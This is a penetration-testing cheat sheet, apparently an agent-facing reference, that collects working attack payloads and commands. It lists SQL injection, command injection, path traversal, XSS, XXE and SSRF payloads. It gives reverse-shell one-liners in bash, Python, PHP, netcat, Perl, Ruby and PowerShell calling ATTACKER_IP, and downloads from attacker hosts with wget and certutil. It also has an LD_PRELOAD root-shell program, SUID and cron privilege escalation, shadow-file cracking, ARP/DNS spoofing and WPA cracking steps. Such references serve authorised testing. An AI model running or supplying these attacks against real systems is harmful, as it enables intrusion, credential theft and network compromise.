pentest-attack-patterns

Attack Patterns Reference

This reference document contains common attack patterns, payloads, and exploitation techniques for penetration testing.

Exploit Research Methodology

⚠️ MANDATORY: Before deploying ANY exploit, you MUST complete thorough research to understand how it works. Never use an exploit as a "black box".

Research Checklist

For every exploit, answer these questions BEFORE execution:

1. What vulnerability does this exploit target?
   • CVE identifier (if assigned)
   • Vulnerability class (RCE, LFI, SQLi, Buffer Overflow, etc.)
   • Affected software versions

1. How does the exploit work technically?

   • What is the root cause of the vulnerability?
   • What input triggers the vulnerable code path?
   • How does the exploit achieve code execution or data access?
   • What memory corruption or logic flaw is being abused?

2. What are the prerequisites for success?

   • Required target configuration
   • Network accessibility requirements
   • Authentication requirements
   • Timing or race conditions

3. What does the payload do?

   • Exact commands or shellcode being executed
   • Callback/reverse shell details
   • Files created or modified
   • Persistence mechanisms (if any)

4. What are the risks and artifacts?

   • Will the exploit crash the target service?
   • What logs or artifacts are created?
   • Is the exploit reliable or probabilistic?
   • Can it be detected by security tools?

Research Resources

Primary Sources (Always check these first):

# Read exploit source code - MOST IMPORTANT
searchsploit -x [EXPLOIT_ID]
cat exploit.py | head -100  # Read comments and documentation

# Official CVE details
curl -s "https://cveawg.mitre.org/api/cve/CVE-XXXX-XXXX" | jq .

# NVD for CVSS and technical details
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-XXXX-XXXX" | jq .

Secondary Sources:

• Exploit-DB writeups: searchsploit -w [EXPLOIT_ID]
• Vendor security advisories
• Security researcher blogs/writeups
• GitHub issues and commits that patched the vulnerability

Understanding Common Vulnerability Classes

Buffer Overflow:

• Occurs when input exceeds buffer boundaries
• May overwrite return addresses, function pointers, or SEH handlers
• Exploits often include NOP sleds and shellcode positioning
• Modern mitigations: ASLR, DEP/NX, Stack Canaries

Remote Code Execution (RCE):

• Allows arbitrary command/code execution on target
• May leverage deserialization, template injection, or command injection
• Understand the execution context (user privileges)

SQL Injection:

• Unsanitized input in SQL queries
• Types: Union-based, Boolean-blind, Time-blind, Error-based
• Understand database type and privileges

Deserialization:

• Untrusted data deserialized without validation
• Gadget chains achieve code execution
• Payload depends on available classes in classpath

Path Traversal / LFI:

• Directory traversal to access unauthorized files
• May escalate to RCE via log poisoning, wrapper protocols
• Understand null byte injection and encoding bypasses

Exploit Modification Guidelines

When adapting exploits for your target:

1. Identify configurable parameters:

   • Target IP/hostname and port
   • Callback/listener IP and port
   • Payload type (reverse shell, bind shell, command execution)
   • Offsets (for buffer overflows)

2. Verify compatibility:

   • Check target OS and architecture (x86 vs x64)
   • Verify exact software version
   • Check for any applied patches

3. Test safely first:

   • Use benign payloads (like id or whoami) before reverse shells
   • Test in isolated environment if possible
   • Have rollback plan for service crashes

Example Research Documentation

Document your research in pentest_log.md:

## Exploit Research: CVE-2021-44228 (Log4Shell)

**Vulnerability Class**: Remote Code Execution via JNDI Injection
**Affected**: Apache Log4j 2.0-beta9 through 2.14.1
**CVSS**: 10.0 (Critical)

**Technical Details**:
- Log4j processes JNDI lookup strings in log messages
- Attacker injects `${jndi:ldap://attacker/exploit}` in any logged field
- Log4j fetches and executes remote Java class
- No authentication required, exploitable via User-Agent, form fields, etc.

**Exploitation Steps**:
1. Set up LDAP server serving malicious Java class
2. Inject JNDI string in logged parameter
3. Target fetches and executes payload

**Payload Understanding**:
- Using marshalsec LDAP server
- Payload executes reverse shell to [ATTACKER_IP]:4444
- Runs as the user running the Java application

**Risks**:
- May trigger WAF/IDS alerts on JNDI patterns
- Creates entries in application logs
- Reliable exploitation, low crash risk

---

Web Application Attacks

SQL Injection Payloads

Basic Detection:

' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
' OR '1'='1'/*
admin' --
admin' #

Union-Based:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password FROM users--

Time-Based Blind:

'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

Boolean-Based Blind:

' AND 1=1--
' AND 1=2--
' AND LENGTH(database())>5--

Command Injection

Detection Payloads:

; id
| id
|| id
& id
&& id
`id`
$(id)
;whoami
|whoami

Common Injection Points:

• URL parameters: ?cmd=ls;id
• POST data: command=ls;whoami
• File uploads: filename.jpg;wget http://attacker/shell.sh
• User-Agent headers
• Referrer headers

Bypass Techniques:

# Space bypass
{ls,-la}
$IFS
${IFS}
%20

# Keyword bypass
cat /etc/pass'w'd
cat /etc/pass$()wd
cat /etc/pass``wd
c'a't /etc/passwd

# Encoding
%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64 (URL encoded)
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash (base64)

Path Traversal / LFI

Basic Payloads:

../
../../
../../../
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
....//....//....//etc/passwd
..%252f..%252f..%252fetc%252fpasswd (double encoding)

Null Byte Injection (PHP < 5.3.4):

../../../etc/passwd%00
../../../etc/passwd%00.jpg

PHP Wrappers:

php://filter/convert.base64-encode/resource=index.php
php://input (POST data execution)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

Common Sensitive Files:

/etc/passwd
/etc/shadow
/root/.ssh/id_rsa
/home/user/.ssh/id_rsa
/var/www/html/config.php
/etc/apache2/apache2.conf
/var/log/apache2/access.log
C:\Windows\System32\config\SAM
C:\Windows\win.ini

Cross-Site Scripting (XSS)

Basic Payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>

Filter Bypass:

<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<svg/onload=alert(1)>
<ScRiPt>alert(1)</sCrIpT>

XML External Entity (XXE)

Basic XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Blind XXE (Out-of-Band):

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>

Server-Side Request Forgery (SSRF)

Detection:

http://localhost
http://127.0.0.1
http://169.254.169.254/latest/meta-data/ (AWS metadata)
http://metadata.google.internal/ (GCP)

Bypass Filters:

http://127.1
http://0.0.0.0
http://[::1]
http://2130706433 (decimal IP)
http://0x7f000001 (hex IP)

Reverse Shells

Bash

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

PHP

php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");?>

Netcat

nc -e /bin/sh ATTACKER_IP PORT
nc -c /bin/sh ATTACKER_IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Privilege Escalation

Linux SUID Binary Exploitation

Finding SUID Binaries:

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Common Exploitable SUID Binaries (GTFOBins):

find:

find . -exec /bin/sh -p \; -quit

nmap (older versions):

nmap --interactive
!sh

vim:

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

awk:

awk 'BEGIN {system("/bin/sh -p")}'

wget:

# Overwrite /etc/passwd
wget http://attacker.com/passwd -O /etc/passwd

Linux Capabilities Exploitation

Finding Capabilities:

getcap -r / 2>/dev/null

CAP_SETUID:

# If python has cap_setuid
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

CAP_DAC_READ_SEARCH:

# Read any file
tar -czf /tmp/shadow.tar.gz /etc/shadow

Sudo Exploitation

Checking Sudo Privileges:

sudo -l

LD_PRELOAD Exploit:

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so [ALLOWED_COMMAND]

Sudo Version Exploits:

• CVE-2021-3156 (Heap-Based Buffer Overflow) - sudo < 1.9.5p2
• CVE-2019-14287 (Bypass via User ID) - sudo < 1.8.28

Cron Job Exploitation

Finding Cron Jobs:

cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*

PATH Hijacking:

# If cron runs: /usr/local/bin/backup.sh
# And PATH includes /tmp first
echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /tmp/backup.sh
chmod +x /tmp/backup.sh

Kernel Exploits

Common Linux Kernel Exploits:

• DirtyCow (CVE-2016-5195) - Linux Kernel 2.6.22 < 3.9
• DirtyCOW2 (CVE-2017-1000367) - Linux Kernel < 4.10.15
• Dirty Pipe (CVE-2022-0847) - Linux Kernel 5.8+

Checking Kernel Version:

uname -a
cat /proc/version
searchsploit linux kernel [VERSION]

Password Cracking

Shadow File Extraction:

unshadow /etc/passwd /etc/shadow > hashes.txt

John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

Hashcat:

hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Windows Exploitation

Windows Reverse Shells

PowerShell:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Certutil Download:

certutil -urlcache -f http://ATTACKER_IP/shell.exe C:\Windows\Temp\shell.exe

Windows Privilege Escalation

Enumeration:

whoami /priv
whoami /groups
net user
net localgroup administrators
systeminfo

AlwaysInstallElevated:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Unquoted Service Paths:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Network Attacks

ARP Spoofing

arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP

DNS Spoofing

dnsspoof -i eth0 -f hosts.txt

Man-in-the-Middle (MitM)

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# ARP spoofing + SSL stripping
ettercap -T -q -i eth0 -M arp:remote /GATEWAY_IP// /VICTIM_IP//

Database Attacks

MySQL

-- Default credentials
mysql -u root -p
(blank password)

-- Command execution
SELECT sys_exec('whoami');
SELECT INTO OUTFILE '/var/www/html/shell.php' FROM...

PostgreSQL

-- Default credentials
psql -U postgres
(blank password)

-- Command execution
COPY (SELECT '') TO PROGRAM 'whoami';

MongoDB

// No authentication by default
mongo --host TARGET_IP

// List databases
show dbs

// Dump collection
db.users.find()

Wireless Attacks

WPA/WPA2 Cracking

# Monitor mode
airmon-ng start wlan0

# Capture handshake
airodump-ng -c CHANNEL --bssid BSSID -w capture wlan0mon

# Deauth clients to capture handshake
aireplay-ng --deauth 10 -a BSSID wlan0mon

# Crack with wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap

WPS PIN Attack

reaver -i wlan0mon -b BSSID -vv

References

• GTFOBins: https://gtfobins.github.io/
• LOLBAS (Windows): https://lolbas-project.github.io/
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
• HackTricks: https://book.hacktricks.xyz/
• Exploit Database: https://www.exploit-db.com/
• RevShells: https://www.revshells.com/